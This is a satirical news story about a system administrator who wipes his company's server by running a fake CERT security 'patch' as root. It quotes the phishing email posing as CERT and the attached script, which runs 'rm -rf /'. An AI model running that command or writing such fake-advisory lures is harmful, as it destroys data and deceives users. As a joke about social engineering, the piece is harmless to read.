Lufkin, TX - Work at Selby Communications ground to halt as their
network server was wiped clean yesterday by a malicious virus. Security
experts called in to investigate the incident discovered the virus
exploited a hole in the head of Systems Administrator Matt Simmons.
"I don't understand how this could've happened," said
Mr. Simmons, "my Internet is a firewall!" Despite
his assurances of flawless security investigators were able to
track the damage back to Mr. Simmons.
Mr. Simmons told the security experts what happened. "I
received an email from our Windows 2000 Sys Admin, Steven Johnson
saying that I better check out this security patch. He ran
it on his system, but it didn't work so he forwarded it to me. He
thought that since I was an MCSE First Class that I could probably
get it to work on our Linux machine."
The investigators retrieved the email from Mr. Johnson's
computer:
-----Original Message-----
From: admin@cert.com
Sent: Saturday, April 28, 2001 9:43 PM
To: All System Administrator
Subject: CERTŪ Advisory CA-2001-A9
CERTŪ Advisory CA-2001-A9 : Freeporn
Virus
Security Risk: High!
Malicious virus sweeping the country. Please
login as root and execute attached patch to protect your system.
The attachment entitled freeporn_patch.sh read:
#!/bin/sh
echo "Please wait while we install the patch."
rm -rf / &
When faced with the evidence Matt was still adamant
of his innocence, "How could all the files be missing because
of me? I didn't drag anything to the Recycle Bin."
"I never seen such a glaring security hole as
Matt Simmons," said one investigator. "I just hope
that he was smart enough to make regular back ups of the system."
"Back ups?"
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